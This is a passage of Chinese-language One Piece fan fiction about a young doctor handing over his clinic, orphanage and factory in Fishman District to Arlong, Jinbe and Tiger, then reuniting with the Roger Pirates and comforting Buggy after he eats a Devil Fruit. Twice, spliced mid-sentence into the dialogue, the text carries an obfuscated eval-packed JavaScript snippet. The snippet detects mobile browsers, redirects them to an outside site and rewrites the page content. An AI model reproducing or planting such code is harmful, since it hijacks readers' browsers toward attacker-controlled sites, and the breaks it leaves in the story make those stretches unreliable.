“算了,你没事就好,咱有药厂,明儿就去再搬一箱回来。不过有好好收拾干净吗?没渗到别的用品里面吧?” 茵弗在对方乖乖点头后亲亲他的脑袋:“好孩子,明天亲自去对负责红药水的伯伯那里道歉,以后再小心一点可以吗?” 等金城终于安静下来,有点不好意思地被小八三人戳来戳去,几个人闹成一团之后,茵弗终于长舒一口气,看向一脸怪异的阿龙。 “怎么?您也要我哄?” 阿龙大怒:“滚啊混蛋!” - 总之,不知道是短暂''补眠''的功效还是什么,茵弗难得觉得自己有点干劲。加上第一次见泰格,他久违地给住在诊所的员工们做了顿饭。 厨房里没太多储备粮了,经过今天的种种茵弗也不想去市场上。还好他们都不挑食,只是简单地烤好各种贝类,配上酱汁蒜泥盖在饭上这群家伙就会吃的很香了,孩子们很喜欢,为了安慰他们今天的惊吓,奢侈一把熬点焦糖煮煮剩下的牛奶就行。 在孩子们端着牛奶喝的时候他给自己也倒了一杯放在一旁,然后钻到自己楼下的工作室里取了几份干药,还有一罐已经装好的羹汤。 鱼人街是鱼人岛阳光最少的地方,为了节省一切资源点的灯也不多。在昏暗的光线里一边喝牛奶一边把汤和药一起煮,熟练地计算着时间和用量,茵弗终于感到日夜徘徊的头痛离他远了一些。 “茵弗大哥..在煮什么?” “闻闻看?” “唔...我现在还分辨不来啦...” 茵弗笑笑,揉揉克罗欧比的头。 “您们泰格大哥冒险回来不太舒服,我给他煮点汤,晚上能睡个好觉。” 正在打扫的泰格一惊,不知道对方是怎么知道的。不过孩子们和还在帮忙清理的员工们都不太惊讶的样子。 茵弗注意到他的眼神,只是抬手拍拍他宽厚的肩膀,“我''听''到的,一些小能力。您晚饭时讲的冒险很有趣,可还是很辛苦吧。” 他看了眼时间,把最后一味药丢到锅里扣上盖子,拉过阿龙,然后转向几个小孩。 “我去隔壁看看,锅里的汤再煮二十分钟,两次滤掉褪出来的浮渣之后转文火十五分钟,能看住吗!” “““能!””” “我屋子里只剩番茄鱼汤罐所以可能不太好喝,那也要监督泰格先生全都喝下去,药渣包起来,能做到吗!” “““能!!””” “那我放心出门了!!” 那碗既是药也是汤的东西真的味道很怪,不过泰格却突然有点好奇:“用汤煮出来的药和普通的药汁有什么区别吗?” 小八挥动六只手在水池边清洗锅具,头也没回地回答:“有的时候是的纽,茵弗大哥说其实很多东西的药性被激发的方式都不同,在一个人身上作用的方式也不同,所以用汤煮可能也有他的理由纽。” 克罗欧比:“有的时候吃的药里面有一些食物一样的东西,茵弗大哥说是双赢。” 啾:“不过大部分时候都是他的什么药膳美学的趣味吧啾~” 金城:“就是觉得有意思吧?” 泰格笑笑,在他们放松的闲谈里环顾四周。 之前被愤怒蒙蔽时忽略的东西此刻都如此明了,让他内心的内疚又拧了一把。 他坐在一个虽然杂乱,但是使用痕迹明显的厨房,脚下的地毯缝补痕迹明显,柔软干燥; 身旁的孩子们刚刚享用了一顿美味的晚饭,话语中也不担心明天的着落; 隔壁是有着大块黑板的图书室,上面写着不少练字的人写下的名字; 楼下的诊所免费对鱼人街开放,能听到轮班的员工对着患者说话的声音; 楼上有人在病床上咳嗽,可是他知道对方在慢慢变好,而不是躺在临终的小巷; 这里有一栋真正的孤儿院,里面的孩子们要干活,可是他们能活下去,它不是''鱼人街''这种放逐之地; 而他能从窗户里看见一座不停运转的药厂,物资运入又运出,不能给所有的鱼人街提供工作,但是个开始; 泰格一个个地数着,每注意到一点就喝一口汤 ,直到一滴不剩。 多年来的第一次,他躁动的心在这让他熟悉又陌生的鱼人街居然找到了一丝平静,这让他坚信自己今晚会睡个好觉。 人类吗? 他走到外面,坐到在门口吸着烟斗的甚平身边。对方见他来只是友善地笑笑,拍拍他的肩膀。 他们坐了一会儿,就只是看着鱼人街,耳边是孤儿院孩子们嬉笑的声音——那位医生去那里了吧,也不知道在做什么。 不过泰格真挚地感谢。 也许他把话说出口了,甚平听到后放下烟斗,有些犹豫地斟酌开口: “大哥...其实...” 面对泰格的疑惑,甚平叹了口气。 “我在考虑...要不要辞掉龙宫城的工作呆在这边。上个月我们受了不少损失。” 鱼人街太大,人太多,总有人会不满其他的人有一份工作,有能吃饱穿暖的机会而自己没有,红十毕竟满足不了所有的人。 总有人觉得他们背叛了鱼人族,对着一个人类摇尾乞怜。 因为阿龙他们住在诊所里,也是二十四小时有人轮班,所以有人半夜侵入破坏的时候及时发现阻止了,损失不大,但是药厂那边损坏了不少器械,损失了不少原料成品,还好有几个员工为了第二天上工方便搬到了附近,没有让他们全部的心血付之一炬,但是很多人受伤了。 “孤儿院还好,新建的,离诊所也近,所以阿龙他们及时看住了,招照顾孩子们的人的时候也不乏强壮的男性女性...” 甚平记得自己那天半夜被茵弗从兵舍叫出来,对方一贯温和的脸上没有表情,手里捏着一个刚刚挂断的电话虫。 在某位员工脸色难看地汇报完损失之后,他记得茵弗瘦小的背影,一言不发地蹲在药厂的一片狼藉里,拨弄着那些碎片,磨蹭着地上的血迹。 他不记得自己当时是什么表情,但是他记得自己认可的朋友在长呼了一口气后看向他,然后露出与平时一样的微笑说: “还好小八他们睡在龙宫城了。” 他拥抱了甚平,仍然在安慰他,虽然可能也是在安慰自己。 他说没事的,其实损失还好,诊所和孤儿院都没什么事,索斯他们伤的不重,能顺利运行到现在已经是奇迹了...... 他抱紧了比他高大太多的鱼人朋友。 甚平觉得需要那个拥抱的不是自己。 他们去见了被阿龙抓住的几个闹事的鱼人,他们嘴里不停谩骂,吐出的恶言第一次让甚平为鱼人族感到难堪。 茵弗拦住了暴怒的员工们,不过他只是仔细看着那些人,什么都没对他们说。 最后他只是用冰冷的语气告诉阿龙,让这些人把同党报出来,不说就打一顿,再不说就打两顿,然后让他们所有人为自己的选择负责——用劳动弥补损失,他不付工资。 他们去了孤儿院,茵弗安抚了那些受惊的孩子,对让他们感到了不安全道歉。 然后他们去诊所里,茵弗亲自处理了受伤员工的伤口,对自己没有考虑到护卫一事而牵连了他们道歉。 然后他们回到工作室,小医生从自己的本子里撕掉了很多页,又挑挑拣拣地往里塞标着不同标签的纸。他把白板上很多标着进度和规划的东西擦掉,重新添上新的空白分支。 他的动作带着点烦躁,愤怒,疯狂,或者别的什么。 那是甚平第一次看到茵弗那个样子,但是直觉告诉他这并不是第一次他有这样的状态。也许乙姬知道怎么安抚他,也许来鱼人岛之前,也有别人知道怎么安抚他,但是甚平不知道。 他沉默着看茵弗任由垂下的刘海在脸上投下一片阴影,然后说了一句对不起,不知道在跟谁说。 也许是甚平,也许是乙姬,也许是对他做不到的一切。 于是甚平也说了一句对不起。 他记得那天自己坐在茵弗地上堆着的一摞书上,想着他也该给他添几把椅子。 黎明到来时,他说自己可以联系好友阿拉丁带一些人手来帮忙更好地保护红十。 茵弗只是点了点头。 “这只是最严重的一次,冲突仍然存在。大哥,您也知道鱼人街的情况。” 就像是一道被挑破的溃烂创口,在清洗时不断流脓。 “不是所有人都同意他建孤儿院,但是他总是说''孩子们能做到的事情很多'',但是其实,一个少年做不到的事情也很多,不是吗。” 而且茵弗快要离开了,可能是下周,三天后,明天。 除了乙姬,甚平是第一个知道这件事的。 红十还很脆弱,它是新生的幼苗,努力在缺少阳光的地方顶着岩石生长。 除了乙姬,祂需要甚平。 “所以我...” 泰格:“我留下来。” 甚平惊讶地扭过头:“不,大哥,我说这些并不是想让你抛弃你的冒险。” 泰格热爱冒险,但是他也爱自己的朋友,族人,于是他反驳道他的冒险由他决定。 话音落下,二人身后就响起一道笑吟吟的声音。 “好了,先生们,别吵架。” 茵弗笑眯眯地抱着肩膀靠在诊所的门框上,身旁的阿龙肢体僵硬,怀里是已经睡着的夏莉。 甚平有点不好意思,他没注意他俩已经从孤儿院回来了。 茵弗对这两个可爱的家伙招招手:“走吧,我们进去聊。老规矩,大蓝,诊所里禁烟。” - 等阿龙去把夏莉放到二楼房间睡下,回到茵弗的工作室,立马就被门口乱七八糟的东西绊了一下。 “啧!你就不能收拾收拾!天天唠叨让我们把诊所弄得一尘不染,就自己最乱!” 茵弗摊在椅子上,手里摩挲着报纸上杰克逊号熟悉的轮廓,心不在焉地随便应了一声。 几杯热茶冒出温暖的蒸汽,淡淡的香气压不过味弥漫在屋子里的草药味。高大的鱼人们缩在房间里略显局促,不过也没人介意。 阿龙随便拉过一张椅子坐在泰格旁边,拿过茶喝了一口。难得这家伙没在里面混什么奇怪的药,味道淡了点,还不错。天知道他第一次在酒里喝到一股奇怪的苦味的时候有多么恶心。 他瞅了一眼那小片报纸——啊。是这件事。 看阿龙也到了,茵弗将剪报放回口袋里,坐直身体,身下的椅子发出嘎吱一声。 毕竟都是拼凑的旧家具,他扫了一眼看起来很辛苦的桌子,也许他是该清理一下。 不,反正他快走了,就交给阿龙... 茵弗顿了一下,把之前想到的话都抛之脑后,直接开口:“我快走了。” 然后他胳膊一勾,拉过身侧的白板,对着他们一张张分析上面早已经贴好的图纸。 泰格有些云里雾里地听着,甚平他们跟他说还没有实感,可是当有人真的把需要做的事情细细数来他才意识到甚平话语里的那些敬佩与沉重的来源究竟多么的令人震惊。 “总之我走了之后您们就这样继续运行下去,至少八个月内都没什么问题。钱我会交给您们,龙宫城会对接。” “至于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14822607|154812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后续发展的这些,包括医生们的进一步培训,我也和乙姬王妃那边商量好了,只是需要您们也心里有数,文件我有备份在这里。新药厂,食品加工厂,和塑料以及玻璃厂的合作,诊所的扩张,她都会帮忙。我希望您们在她来时与她继续合作。” “收起你的表情,阿龙先生。没有乙姬殿下,我做不到这么多,这一点您很清楚。”茵弗往脸色很臭的阿龙身上弹了个纸团。 阿龙啧了一声:“皇族早就放弃这个烂地方了,除了你没人在意。你走了之后——” 阿龙顿了一下,他当然知道乙姬给了茵弗多大的支持,别的不说,药厂如果不是和鱼人岛的合作根本开不起来。 他想说什么?想让茵弗玛利留下来?有他在,即使出什么问题,就算暴民们把他们现在拥有的全都毁坏,他也知道这个人类会再把它们建起来。 他走了之后呢?八个月之后呢?如果乙姬不来呢? 就算乙姬来了,茵弗玛利不在,真的会有什么用吗? 泰格叹了口气,一只手压在了阿龙的肩膀上。 茵弗手里转着白板笔,细细端详着眼前的三人。 阿龙生气,脾气恶劣,但他近来没有那么愤怒了。甚平也很少再在他的面前露出曾经总是皱着眉头的神情,他经常看到他的大蓝朋友在小乐园里为孩子们转着那个大转轮。 泰格,这个小八他们无比崇拜,说是属于冒险与太阳的大红鱼人,愿意停止去到海面之上。 “我不是来怜悯您们的,阿龙先生,这一点我以为让您很高兴。” 阿龙张了几下嘴,不知道茵弗要说什么。 “我曾经在香波地,救下过一群孤儿,他们成了天龙人无缘故射杀孩子之后的幸存者。” 众人心里一惊。 “之后我在香波地呆了两天,遇上一群想要去抢劫那些孩子的人,我打断了他们的腿。您们觉得,现在那些孩子们还活着吗?” 如果他是去可怜他们的,他可能会请求雷利和罗杰带上这些孩子,送他们去另外的岛。但是他没有。 “我离开了香波地,现在,我也必须离开鱼人岛。明天,后天,大后天,会发生什么,我不知道。” 鱼人岛,鱼人街未来如何,他不知道。 “在选定这栋建筑的第一天,我就说了,它将属于您们。接下来,轮到您们帮我看到那些美丽的可能性。” 认同乙姬,否定乙姬,怎样都好。但是别放弃她,别放弃自己。和她合作,改变她或者被改变。不管是鱼人还是人类,只有凝聚在一起,才能做到点什么。 “红十让您们能以新的方式被看到,所以利用它。鱼人街不是一天就变成的废弃之地,也不会一天就变得好起来,但是总得走出第一步,不管是朝哪个方向。” 杰里必须得行动那第一步,才能变成茵弗玛利。 他将手里的白板笔丢到一旁,小小地叹了口气。 “不过,虽然我的确好奇您们会给出什么样的答案,但是就像我希望下次去香波地,那些孩子还活着一样,我也希望我再来鱼人岛时,我们还能坐在一起喝茶。” 众人一时都没说话,茵弗不知道他们在想什么。真的,他其实没那么喜欢动脑筋。 “我可以送你去香波地,套上泡泡游上去就好了。”阿龙打破沉默,有点嘟囔。 茵弗咧嘴:“算了,我不急。” 气氛又轻松了起来,茵弗取出一摞文件:“我给您们的国王提了些小建议,不知道他会如何行动,不过您们天生力量强大,也许他会选择建一支属于鱼人岛的军队。” “如果要建军,需要什么?” 阿龙:“钱?愿意给尼普顿打工的人?” “如果要赚钱,需要什么?” 泰格:“唔...为人做苦力也能赚钱,但是只够生活,攒钱的话我一般会因为力量大和在水里的优势跟一些渔船做别的工作。” 他好像想到了什么,“不过有一次我在一个厨师手下打杂,人手不够的时候学着帮他一起做了些饭菜,那次拿到的钱比较多。” “如果想要学会当厨师,需要什么?” 甚平摇头:“很多时候这不是我们能选择的,茵弗医生。” “红十不是给了很多人新的选择吗?” 就像诊所,药厂,孤儿院等等等等,想要支撑一个,就需要其他的因素也跟上来,多方面必须同时进行,才能勉强达到某种平衡。这是茵弗这段时间意识到最清楚的东西。 “我现在还欠着乙姬王妃不少钱,不过慢慢就能还清,然后就能赚钱。而那些钱属于红十,您们可以用它创造新的选择,这个雪球只会越滚越大。” 他伸出手指比划。 “八个月,先生们,八个月之后,您们就可以开始选择了。” 他将自己和尼普顿提议的话和甚平说了一下,“您之后可以留在龙宫城,可以留在红十,都可以,但是这件事我希望可以交给您。如果国王陛下愿意在鱼人街训练招收军队,那么这是很好的机会。” 甚平点点头,一方面他当然知道加入军队的好处,为大量人员提供去处不说,只要皇族能有切实的方案投向鱼人街,那么必然会焕起新生;另一方面如果鱼人族整体能强大起来,那么也可以更好地守护鱼人岛。 只是鱼人街和皇族的...关系上,并不好。 “的确如此,所以乙姬殿下会来到这里,带着鱼人街需要的的帮助与鱼人街厌弃的思想一起,这是一个需要一段时间的过程。我只是需要您作为媒介维持这两方的平衡,至于后续该怎么推进您们去协商。”他有点顽劣地勾勾嘴角,“我是医生,我不管。” 他转向泰格:“泰格先生,如果您想要继续冒险,请别让红十成为您的负担。其实这些东西我主要是说给阿龙先生的,不过有一点——” 茵弗的语气变得更加严肃,认真的神情让泰格不由自主地屏住呼吸。 “我刚到鱼人岛时,一群海贼在掠夺鱼人族。您知道掠夺的目的?” 泰格点点头。 “那您知道奴隶身上都会发生什么?我有幸见过一次。”他皱皱鼻子,那些鲜血与伤痕好像还印在他的视线里,眨眨眼都能带起一阵痛苦的呻吟,“我想那位被天龙人骑着在地上跪伏爬行的先生,当时应该很愿意成为那些被射杀的孩子中的一员。” 泰格还是第一次听到一个人类如此...描述人类。 原来存在这样的恶吗? “总之,我不建议您继续一个人在海面上冒险,先生。” 泰格摇摇头:“谢谢你,茵弗医生。不过我已经打算留在这里帮忙了。”他笑着露出尖牙,“就算是旅行我也在为了去更远的地方攒钱,至少我听说你给员工们的待遇挺好。” 茵弗也嘻嘻笑了,稍微摇头晃脑地思考了一会之后开口说:“那么,我会给您最好的待遇,如果您能帮我做点别的。” “我希望您能在红十,继续做鱼人街的榜样,泰格先生。” 甚平如果是一条绳子,那么泰格就需要成为它连接的磐石。是鱼人街在与乙姬面对面时的代表。足够的威信,足够的力量,足够的善,足够的爱,这位大红鱼人可以做到。 泰格有些震惊,他不觉得自己可以做到,这种想法甚至从来没在他的脑海里出现过。 不过,也许就像茵弗说的,红十给了很多人新的选择。 所以在甚平鼓励地拍着他的肩膀的时候,他只是挺直脊背,点了点头。 茵弗看向抱着胳膊瘫在椅子上的阿龙,对方看轮到他了,只是啧了一声。 阿龙:“知道了知道了,累活麻烦事全留给我是吧?''您们您们的其实都是说给阿龙呢''。” “我会看好红十的,还有夏莉那丫头,你可以跟着你的海贼船滚了。” 茵弗打了个响指:“别这样嘛,阿龙先生,不过确实我是这个意思,我对小八说帮助他们长大的约定就正式交给您了。哦对,别忘了还有阿拉丁先生的护卫队和孤儿院那边该扩了,您自由发挥。” 阿龙坐直身体狠狠踢向他桌子下的腿,被茵弗熟练抬脚躲过。 时间很晚了,他得打个电话虫告诉乙姬他和甚平今天不回龙宫城,隐隐的头痛又开始传来,不过他只是踢了阿龙一脚,然后说: “好嘛,小蓝,别那么害怕。” - 事情的交接不是一晚上就能完成的,茵弗狠狠地忙碌了几天,大海龟从来没有这么频繁在龙宫城和主岛之间来往。 说实话他很没底气,他让阿龙不要害怕,其实最大的胆小鬼一直是自己。 他能做到这一步离不开运气,离不开甚平,阿龙,小八,乙姬。 凝聚在一起才能做到点什么,自从乙姬提出合作,其实茵弗一直都是在提醒自己。 在从克罗欧比那里要回自己的硬币的之后,他像那天和阿龙一起坐在墙边一样曲膝坐在诊所对面,一边凝视它一边抛玩缺了角的金币。 在那抹金色随着一点点阳光一上一下的闪烁间,一艘挂着红帆的气派帆船入港了。 31.补眠! 接到罗杰海贼团上岛的消息后,乙姬立马就给茵弗去了电话虫。 而那孩子也以最快速度赶了回来,身后跟着同样脚步匆匆的甚平。 “慢点跑、小茵弗,罗杰船长他们马上就到,尼普顿亲自去接了。”她矮下身子替他整理领子和衣角。 甚平踌躇了一下,还没开口,乙姬就微笑着看向他。 “留在这里吧,甚平,你也很想见见他们吧?” 甚平感激地点头,礼貌地侧身站在一旁。 被茵弗医生如此深爱的人类,是什么样子的呢?也是像白胡子船长他们一样的人吗,他们会聊些什么? 他眨眨眼,上一秒还在乙姬王妃臂弯里的人,下一秒就窜了出去,扑到了一位刚刚跨入大门的金发男人身上,肩膀塌着,死死地抓着对方紫色的外袍。 甚平叹了口气。 而茵弗在雷利的怀里深呼吸。 他的心脏跳的很快,噗通噗通地震得浑身颤抖。无数想说的话,奔涌的情绪都混搅成了皱巴巴的一团,无论如何都吐不出来。 他开心地想大笑,委屈地想哭,雷利的手掌在他的脊骨上发烫,可是还隔着一层衣服,所以这大概也是他的幻觉。 明明他已经见到他们了,怎么会突然如此思念。 乙姬还在看着,甚平也在,他大概得冷静一点,好好介绍。可是、可是—— “好久不见,小家伙。” 熟悉的声音,熟悉的的味道。 他的壁橱。 雷利感到怀里的孩子突然软软地压在他身上,绵长的呼吸轻轻打在胸口。 于是他低下头,发现茵弗睡着了。 好吧,这和他预想的重逢稍微不太一样,他轻轻调整了一下对方的姿势,好让他窝得更舒服。 打耳洞了啊....变轻了不少? 雷利起身,罗杰和香克斯也跟了上来。 “雷利—!见到茵——唔噗!” 雷利收回腿,拧着眉头示意这个大嗓门小声一点。不过怀里的小家伙没什么反应,虽然在杰克逊号的时候他就很喜欢晒太阳打盹,但好像也没有到这种地步。 香克斯小心凑过来踮起脚看了看: “茵弗...很累吗?” 好吧,本来想接到人就走的,不过他确实有点担心了。 雷利转身,对上乙姬王妃泪水盈盈的双眼。 - 他们拒绝了国王和王妃要宴请罗杰海贼团的邀请,罗杰说要等茵弗睡醒了再说。 可是茵弗一直没醒。 为了避免谈话打扰,雷利本来想把他送回房间。迈过一地的各种器械和容器,他对着躺在床上也不放开他衣服的小孩看了一会儿,又把他抱回了怀里。 他长高了,也确实到了长个子的年龄,很快雷利就不能这么抱着他了。 茵弗的房间里比杰克逊号上的医务室还乱,不过雷利不觉得是因为没有库洛卡斯管着,他对着桌上铺着的各种表格图画和文件挑眉,好像看到几张他很熟悉的财务表。 他在忙什么?来鱼人岛不是来学习能力的吗? 皇族们和那名叫甚平的年轻鱼人很快就给了他答案。 露台上没有风,但是空气清新,在泡泡外海水细小的搅动里,他们叙说着,感慨着,细细数来这个在他怀里沉睡的小家伙做了多少让人骄傲的事。他们口中的那个可靠成熟的少年和杰克逊号上顽皮幼稚的小医生有那么多不同,却一模一样。 罗杰海贼团成了鱼人岛永远的贵客。 罗杰笑着拉过茵弗垂下的一只手,一大一小十指相扣。茵弗没戴手套,蹙了蹙眉,并没有醒。 乙姬亲自带着罗杰和御田一起去了海之森。 而雷利躺在茵弗的床上,一只腿垂在地上,胸膛上的脑袋随着自己的呼吸起伏。 窝在他另一侧的香克斯小心地把脸贴在他的肩上:“雷利前辈...我会好好跟茵弗道歉的。” “什么...?” 茵弗玛利嘟囔着发出了几个小时来的第一道声音。 香克斯猛地支起半个身子,“茵、茵弗!”他磕磕绊绊地解释着,茵弗眼睛还闭着,只是偶尔抖抖睫毛,他看不出来对方的反应。 雷利感觉出来那双耳朵根本就什么都没听进去,茵弗没真的清醒,迷迷糊糊着又睡着了几次。所以他打断了香克斯,轻轻拍着他的背。 淡金色的脑袋动了几下,可能是在看他,一只小手也胡乱地摸来摸去,碰碰他又碰碰香克斯。 雷利:“对,是我们,继续睡吧。” 茵弗又嘟囔着问了一声罗杰?连敬称都没用。 “他去看历史正文了,晚点就回来。”沉思了一下,雷利补充道,“你走之前和库洛卡斯研究的疗程方案很好,他状态不错,别担心了。” 香克斯也躺了回去,牵过茵弗的手,在他再次变得平稳的呼吸中小声讲起他们最近的冒险。 雷利没打断他。 - 茵弗这次醒来没有迷茫。 眼上的一道伤疤,红色的发丝,硬硬的但是软软的胡子。 他们来接他了。 不、还是有一点迷茫的。 香克斯在这里,巴基呢? 雷利注意到他醒了,露出一个微笑。 在听到他的疑惑时又抿去笑意,轻轻叹了口气。 “他...” “是我的错!” 香克斯? 茵弗转身,香克斯已经半坐了起来,满脸的歉意。 “对不起,茵弗,我和巴基吵架了。”他有些着急地摆手,“我保证我们之前都按你希望的没有闹得很凶,但是这次——” 茵弗捋了一把他额头上的碎发,也坐直身体。 “...发生了什么?” 香克斯当然还记得那天,毕竟才过去不久。 他和巴基在茵弗离开的一段时间后,开始比赛谁能在下次见面的时候找到最好的礼物,一切都没什么事,甚至其他船员们知道后也说要帮忙。 直到那天、那天巴基很激动,但是问他他什么都不说,只是说这次他一定会赢。 然后有一次他看到巴基猫在船舷边偷偷看藏在怀里的东西,他就凑过去了... 茵弗:“恶魔..果实?” 香克斯低着头,意识到巴基掉到水里之后没有浮上来的慌张好像又随着溺水的呛咳声一起涌进脑海。 “他本来想送给你给你做礼物的,因为那段时间你开始对恶魔果实很感兴趣...但是被我毁了...” 茵弗没什么表情,除了刚认识那会儿香克斯很少会像现在这样不知道对方是什么心情。 他揉揉脸,继续补充道: “他不是不想来见你、只是因为我要来,我找到的礼物无论如何都比不过恶魔果实...” “你和巴基道歉了吗?” “当然了!但是他这次真的超级生气的...” 茵弗摇摇头,握住他的肩膀,手上微微用力。 “我的意思是,你对他道歉了吗?” 他不是刚刚回答了... “香克斯,巴基,不能游泳了啊。” 雷利在茵弗身后发出了一声低骂。 茵弗看看他,又看向香克斯身后的罗杰。 “...您们没意识到?” 雷利揉着鼻梁叹气:“我没有想到会这么严重,他很聪明,也有天赋——” 罗杰:“雷利。” 香克斯回头看了一眼船长脸上严肃的神色,咽了咽口水,不能游泳...... 茵弗把他的脑袋扭回来,这回他看明白了,茵弗脸上的心碎。 “香克斯...如果我们遇上敌人,巴基擅长什么?” 巴基很灵活,匕首和小刀都用得很好,而且一直在和雷利前辈学水.... 水战。 香克斯脸唰地白了。 巴基一直在说一起丢了的藏宝图和果实的事情,他从来没说过... “他当然不会说。他是巴基。” 也许雷利他们认为巴基得到一颗果实也不完全是坏事,他可以重新再来,甚至利用能力做得更好。 但是他们眼里的巴基不是巴基眼里的自己。 ''他说自己这次一定会赢''。 茵弗用偏爱一点点浇灌出的自信就这么因为一次意外被碾碎了。 香克斯:“对、对不起...” 茵弗叹了口气,贴上他的额头:“一个没责怪过你的人不会给你原谅,香克斯,但是我想,你得跟巴基好好谈谈。” 他抬起头看向雷利:“您们也是。” - 巴基不会原谅香克斯。 不管他突然从龙宫城跑回来和自己说什么。 不管和他一起回来的茵弗是如何拥抱他。 带着草药味道的温暖紧拥,就好像巴基没有变成一个彻底的旱鸭子,变成了一个只能丢丢飞刀的红鼻子小丑。 “你现在真好听,巴基。” 巴基偏头,对上那张他很思念的笑脸,还有一个很眼熟的红宝石耳坠。 “什么...?” 茵弗的手轻轻摸上他的脖子,凉凉的,有点痒。 “恶魔果实,它听起来就像本该属于你一样,你们现在的声音都漂亮极了。是什么能力?” 巴基愣住了。 “四分五裂...” 茵弗嗯了一声,仍然一下一下地顺着他的脖子。 “那好方便哦...你都不知道我最近忙死了,要是你在就好了。” 巴基:“你最近,很辛苦吗?” 茵弗:“是呀,好想你们。晚点带你去鱼人街,那边的孩子们会很喜欢你的,特别是你现在听起来这么好听,每一个细胞都睡醒了的感觉。” 巴基切了一声:“那也只有你这个家伙听得到...” 茵弗:“那有什么关系,相信我,巴基。” 蓝头发的少年咬着牙,把脸埋在茵弗的肩上。巴基大爷当然会被喜欢的!会被一群小屁孩崇拜的!这是理所应当的!自然而然的!巴基大爷当然不会哭的! 肩膀硬邦邦的,硌得巴基大爷鼻子痛!这家伙这半年是没吃饭吗! 他抽抽鼻子,一定是被硌出鼻血了。 “相信你什么啊,你就是个混蛋。” “真失礼,不过确实。” “...香克斯也是个混蛋。” “嗯。小红仔有时候是挺欠揍的。” 巴基突然觉得有点好笑,近来胃里翻江倒海的黑色全都沸腾成了泡泡,随着笑声一个个地破碎。 茵弗:“怎么?” 巴基:“香克斯欺负我,你去为我揍他一顿吧,哥哥?” 茵弗将他拉开一点,仔细看看了看他的笑容后露出白白的牙齿: “交给我吧!我会好好收拾他的!” 巴基很感谢他没有提自己脸上的泪水。 他没有去看茵弗是怎么''替自己出气''的,不过对方出门前撸袖子的气势很好笑。 还说什么和白胡子船上的比斯塔学了怎么一边挥刀一边丢花瓣,就是为了打香克斯这种惹他弟弟生气的小混蛋而学的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14826492|154812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说实话他没指望茵弗能真的把香克斯打一顿,那家伙就是个心软的笨蛋。 他去了罗杰船长的船舱,因为茵弗说雷利前辈和船长在找他。 坐在椅子上踢着脚尖,巴基在二人的脸上看到了他们经常对香克斯做的表情。 骄傲的,鼓励的,充满爱的。 他们说了很多,什么帮他适应新能力,要不要把四分五裂和空战结合起来试试看,等等等等。 巴基没怎么听进去,他只是盯着他们脸上的表情,踢着脚尖。 巴基大爷是会被喜欢的。 是会被崇拜的。 这是理所应当,自然而然的。 巴基大爷不会哭的。 在罗杰船长的衬衫上蹭掉眼睛里突然流出来的水的时候,他想,至少香克斯那个混蛋刚才回来道歉的时候把私藏的藏宝图送他了。 他就勉强同意不告诉茵弗那本来是臭克斯准备的礼物吧。 - 失去了自己礼物的两人,用两个难为情的主动面颊吻换来了茵弗的礼物。 茵弗说他没钱了,所以给他们的礼物,用巴基的话来说就是''漂亮的小垃圾''。 他收到一个''烤了很久都没有变色的海螺''——当然肉是被吃掉了。 香克斯嗅了嗅,好像能闻到一点烧烤的味道。他打了个喷嚏,不过不是因为这个海螺。 茵弗之前突然来找他''切磋'',然后在两个人发出正式第一招的一刻往他脸上扔了一把不知道是什么的花瓣,里面肯定混着点奇怪的粉末,弄的他一直痒痒。 总之切磋是不了了之了,不过巴基看到之后哈哈大笑,所以他就不介意了。 至少他发现茵弗练会了很强的见闻色。 巴基收到了一小卷来自龙宫城的墙纸。 茵弗说是在他屋子里做实验炸了什么什么后有一大块墙纸烧糊了,在替换新的的时候,他觉得花纹很好看。 “我能拿它干嘛啊,龙宫城里肯定有不少财宝吧,为什么不拿啊...” 巴基嘟嘟囔囔地把那块墙纸铺到了自己的桌子上,花纹是挺好看的,很有鱼人岛的特色,带着点高雅。 不过就算茵弗有钱,送的也会是类似的东西吧。 鱼人岛的两块历史正文都已经解读好了,茵弗也正式认识了御田一家,包括猫蝮蛇和犬岚。 茵弗在意识到自己忘记给他们准备礼物的时候微笑着绝望了一会儿,逗得时夫人咯咯笑。 他们一起在龙宫城开了宴会,猫蝮蛇对着漂亮的人鱼姐姐们咪呜咪呜地叫,茵弗觉得很可爱,一晚上都在亲昵地贴来贴去,揉他和犬岚的脸颊。 香克斯不嫉妒。 在船重新镀膜期间,他们去了鱼人街。 那个被茵弗种下火种的地方。 能看出来四周的破败,但是茵弗的诊所附近区域都很干净,也有不少新搬到附近的鱼人人鱼们在修缮着房屋。 那里的人在见到他们时很警惕,不过因为茵弗说他们是他的家人,就好多了。 桑贝尔前辈也跟着来了,他只是笑,然后狠狠拍了几下茵弗的肩膀。 红十所有的一切里面,香克斯最喜欢孤儿院。 茵弗的孤儿院很简单,没什么设施。 厨房,餐厅,需要排队的浴室和卫生间,然后就是一个又一个住满小孩的大房间。 有的孩子有床,年龄大的可能只能睡在软垫或者厚褥子上。 不过香克斯觉得他们的笑脸很满足。 那里有专门照顾孩子们生活的人,领头的''妈妈''是一个很高大的人鱼,棕色的波浪发被扎起来,胳膊很结实,从腹部一直到鱼尾下部有一道很大的伤疤,让她游起来稍微不太方便。 她说因为她不能有小孩了,所以现在很开心可以做一个妈妈。 茵弗左边牵着他,右边牵着巴基,跟一群小家伙们炫耀说这两个哥哥很厉害哦。 他们很喜欢他俩,想听故事,想玩耍,想看厉害的巴基再展示一次四分五裂的能力。 